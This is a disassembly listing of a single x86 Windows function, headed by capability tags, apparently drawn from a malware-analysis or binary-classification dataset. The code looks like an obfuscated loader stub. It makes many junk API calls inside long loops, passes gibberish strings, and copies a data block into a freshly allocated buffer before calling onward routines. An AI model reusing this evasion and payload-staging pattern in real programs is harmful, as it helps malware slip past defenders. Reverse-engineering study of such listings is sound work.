Function at 0x4529b0
Capabilities:
Create pipe
Get file attributes
Get file size
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x105c
call fcn.00407260
mov eax, dword [0x459004]
xor eax, esp
mov dword [esp + 0x1058], eax
mov edx, dword [0x45b438]
mov ecx, dword [0x82ee34]
push ebx
push esi
push edi
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
cmp eax, 0x4db
jne 0x4529f4
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x452a08
mov dword [0x45c238], edi
mov dword [0x45c23c], esi
inc eax
cmp eax, 0x1180b56
jl 0x4529e7
mov dword [0x82ee34], ecx
xor esi, esi
cmp esi, 0x55ad4f
jne 0x452a2a
mov eax, dword [0x459c58]
mov dword [0x82ef64], eax
cmp ecx, 0x3c
jne 0x452a3d
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [0x82ee34]
inc esi
cmp esi, 0x4cd9555e
jl 0x452a18
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
push str.gakuxecuked_hahisoyitubibijaruwomuxeri_kokipipuliwazikav_vovowipifucimuragak
call ebx
call edi
call edi
cmp esi, 0x16ea57
jg 0x452a70
inc esi
cmp esi, 0x9438f3
jl 0x452a54
xor ebx, ebx
cmp dword [0x82ee34], 0x2a
jne 0x452b16
lea ecx, [esp + 0x14]
push ecx
push ebx
push ebx
push ebx
push ebx
mov dword [0x82ee28], ebx
mov dword [0x82ee2c], ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
xor eax, eax
push ebx
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
lea eax, [esp + 0x64]
push eax
push str.zeziweziculoy
lea ecx, [esp + 0x24]
push ecx
push ebx
xor edx, edx
push ebx
mov word [esp + 0x30], dx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push ebx
push str.sehelayabehifawiceco
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push ebx
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push ebx
push ebx
call sub.KERNEL32.dll_Process32Next
push ebx
call fcn.0040113c
add esp, 4
cmp dword [0x82ee34], 0x7c
jne 0x452bcd
push ebx
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemRealloc]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0x2e
lea eax, [esp + 0x34]
push ebx
push eax
mov dword [esp + 0x38], ebx
call fcn.00405e30
add esp, 0xc
push ebx
lea ecx, [esp + 0x30]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebx
push ebx
lea edx, [esp + 0x68]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push ebx
push ebx
push ebx
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov eax, dword [esp + 0x10]
push ebx
push eax
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push ebx
lea ecx, [esp + 0x864]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [0x82ee34], 0x2d
jne 0x452bc4
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
call fcn.00401153
add esp, 4
mov edx, dword [0x82ee34]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x82ee34]
mov esi, eax
xor ecx, ecx
mov dword [0x82ec7c], esi
cmp edx, ebx
jbe 0x452c21
mov edi, dword [0x82ef64]
jmp 0x452c00
mov al, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], al
cmp edx, 0x8d
jne 0x452c1c
mov dword [0x82ec80], 0x17bc
inc ecx
cmp ecx, edx
jb 0x452c00
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.004526b0
call fcn.00452930
mov edi, dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
cmp dword [0x82ee34], 0x41
jne 0x452c5a
push str.horamewupupixifurerehegowe
call edi
push 0
push 0
call ebx
cmp esi, 0xd4f9f
jne 0x452c67
call fcn.004526a0
cmp dword [0x82ee34], 0xc
jne 0x452c7b
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x234685
jl 0x452c44
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov dword [esp + 0x10], 0x1df6c9
mov ebx, 0x8e4e0198
lea ecx, [ecx]
cmp dword [0x82ee34], 0x7c4
mov dword [0x82ec84], ebx
jne 0x452cd3
push 0
call esi
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x28]
push ecx
mov word [esp + 0x18], dx
mov word [esp + 0x1a], ax
mov edx, dword [esp + 0x18]
push edx
push eax
push eax
push eax
call edi
sub dword [esp + 0x10], 1
jne 0x452ca0
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_AddAtomW]
xor esi, esi
lea eax, [esp + 0x2c]
push eax
push 0
call edi
lea ecx, [esp + 0x860]
push ecx
call ebx
cmp esi, 0x408e
jle 0x452d0d
cmp dword [esp + 0x34], 0xf5bed7
jne 0x452d16
inc esi
cmp esi, 0x687ed2
jl 0x452ce8
mov ecx, dword [esp + 0x1064]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret